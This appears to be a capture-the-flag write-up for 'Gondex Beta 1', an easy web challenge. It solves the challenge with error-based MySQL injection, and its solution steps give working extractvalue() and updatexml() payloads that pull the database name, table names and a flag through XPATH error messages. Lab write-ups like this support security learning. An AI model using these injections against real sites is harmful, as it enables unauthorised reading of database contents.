Gondex Beta 1
Gondex Beta 1
Platform: web-kids20 | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-03-09 | Status: Solved Techniques: error_based_sqli_extractvalue, xpath_error_injection
Summary
A task from the "error" category on the Web Kids 2.0 platform. The "Gondex Beta 1" search engine displays SQL errors on invalid queries, allowing error-based SQL injection.
Gondex Beta 1 — Web Kids 2.0
Description
A task from the "error" category on the Web Kids 2.0 platform. The "Gondex Beta 1" search engine displays SQL errors on invalid queries, allowing error-based SQL injection.
URL: http://kslweb1.spb.ctf.su/sqli/error1/
Analysis
When entering special characters in the search field (e.g., a single quote '), the application displays SQL errors. This is a classic sign of error-based SQL injection vulnerability.
Key observations:
- MySQL database (based on error syntax)
- Errors are displayed to the user
- Functions extractvalue() and updatexml() are available
Solution
Step 1: Confirming the vulnerability
Entering a single quote triggers an SQL error:
'
Step 2: Error-based extraction via extractvalue()
The extractvalue() function in MySQL takes XML and an XPath expression. With an invalid XPath, it outputs an error containing the result of the nested query.
sql read-only • copy allowed' AND extractvalue(1, CONCAT(0x7e, (SELECT database()))) --
This returns an error like:
XPATH syntax error: '~database_name'
Step 3: Extracting tables
sql read-only • copy allowed' AND extractvalue(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))) --
Step 4: Extracting the flag
After determining the database structure:
sql read-only • copy allowed' AND extractvalue(1, CONCAT(0x7e, (SELECT flag FROM secret_table LIMIT 0,1))) --
Alternative: updatexml()
sql read-only • copy allowed' AND updatexml(1, CONCAT(0x7e, (SELECT flag FROM secret_table)), 1) --